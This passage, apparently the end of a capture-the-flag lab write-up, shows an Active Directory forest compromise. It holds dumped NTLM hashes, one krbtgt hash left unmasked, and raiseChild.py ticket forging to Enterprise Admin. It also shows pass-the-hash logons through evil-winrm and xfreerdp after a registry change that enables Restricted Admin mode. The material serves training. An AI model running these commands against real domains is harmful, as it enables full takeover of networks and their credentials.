krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a03c565c68c6fac5f8913fab576ebd:::
lab.trusted.vl\rsmith:1104:aad3b435b51404eeaad3b435b51404ee:30ef************************93dd:::
lab.trusted.vl\ewalters:1106:aad3b435b51404eeaad3b435b51404ee:d53e************************c3f1:::
lab.trusted.vl\cpowers:1107:aad3b435b51404eeaad3b435b51404ee:322d************************3c43:::
LABDC$:1000:aad3b435b51404eeaad3b435b51404ee:bbe4************************698c:::
TRUSTED$:1103:aad3b435b51404eeaad3b435b51404ee:b6ae************************757b:::
Escalating to Enterprise Admin with RaiseChild.py
As cpowers
was a domain administrator and we had their NTLM hash in hand, we could forge an inter-realm ticket to escalate from lab.trusted.vl
to trusted.vl
. I chose to automate this process with raiseChild.py. I could have manually gotten the domain SIDs for both domains and the hash for krbtgt to generate the golden ticket but this was my first time using raiseChild.py so I wanted to give it a whirl.
[Feb 05, 2025 - 00:27:07 (EST)] exegol-vl trusted2 # python3 /opt/my-resources/bin/raiseChild.py lab.trusted.vl/cpowers -hashes :322d************************3c43
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Raising child domain lab.trusted.vl
[*] Forest FQDN is: trusted.vl
[*] Raising lab.trusted.vl to trusted.vl
[*] trusted.vl Enterprise Admin SID is: S-1-5-21-3576695518-347000760-3731839591-519
[*] Getting credentials for lab.trusted.vl
lab.trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a0************************6ebd:::
lab.trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:c930*******************************************************94aa
[*] Getting credentials for trusted.vl
trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d943************************fa2d:::
trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:3e5b*******************************************************a2bf
[*] Target User account name is Administrator
trusted.vl/Administrator:500:aad3b435b51404eeaad3b435b51404ee:15db************************72ef:::
trusted.vl/Administrator:aes256-cts-hmac-sha1-96s:d75e*******************************************************d4a6
Now the NTLM hash for Administrator in trusted.vl
can be used with Evil-WinRM to log on to the parent domain controller.
[Feb 05, 2025 - 00:27:21 (EST)] exegol-vl trusted2 # evil-winrm -u Administrator -H 15db************************72ef -i trusteddc.trusted.vl
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami; hostname
trusted\administrator
trusteddc
*Evil-WinRM* PS C:\Users\Administrator\Documents>
While we should have access to the root flag, we could not read it. Shoot.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:7 char:9
+ Get-Content $file | more.com
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
As for the reason why we could read it? Well the flag was encrypted by EFS and could be verified via cipher.exe.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cipher.exe
Listing C:\Users\Administrator\Desktop\
New files added to this directory will be encrypted.
E root.txt
To get around this limitation, I chose to RDP to the machine. However, as Restricted Admin mode is disabled by default, we cannot pass-the-hash with something like xfreerdp. Instead, Restricted Admin mode has to be enabled first. Since this is not the default behavior, it has to be enabled via a registry key.
*Evil-WinRM* PS C:\Users\Administrator\Desktop> reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
The operation completed successfully.
Restricted Admin what?
Let's talk about Restricted Admin mode for a second.
By default, Restricted Admin mode is disabled and when you connect to a remote host via RDP, your username and password are sent to the host, allowing for delegation to secondary network resources within the remote session. Any network resources accessed are done with your user account, not the source computer account. A copy of the credentials is stored in LSASS on the remote host
If we can enable Restricted Admin mode, no credentials are sent to the remote host. Instead, the client authenticates the user locally and generates an authentication token (Kerberos or NTLM), which is then sent to the remote host. Since the remote host only receives a token and not a password, we can authenticate with an NTLM hash instead, making pass-the-hash attacks possible.
That's a high-level explanation β there are plenty of resources online that go much further in depth but there have been too many tangents already.
Once the registry key is set, now the NTLM hash can be used to RDP using xfreerdp.
[Feb 05, 2025 - 00:41:41 (EST)] exegol-vl /workspace # xfreerdp /d:trusted.vl /u:Administrator /pth:15db************************72ef /v:trusteddc.trusted.vl
[00:41:43:451] [97511:97518] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[00:41:43:451] [97511:97518] [WARN][com.freerdp.crypto] - CN = trusteddc.trusted.vl
[00:41:45:267] [97511:97518] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32
[00:41:45:267] [97511:97518] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32

If this were a real engagement, it would be imperative to remove this key as part of post-assessment cleanup. By default, this registry key does not exist and therefore disables Restricted Admin mode. To do this, just run the following command -
reg delete HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f
That's all I have for you in this write-up. Thank you for taking the time to read it and you learned something new as a result. Until next time!
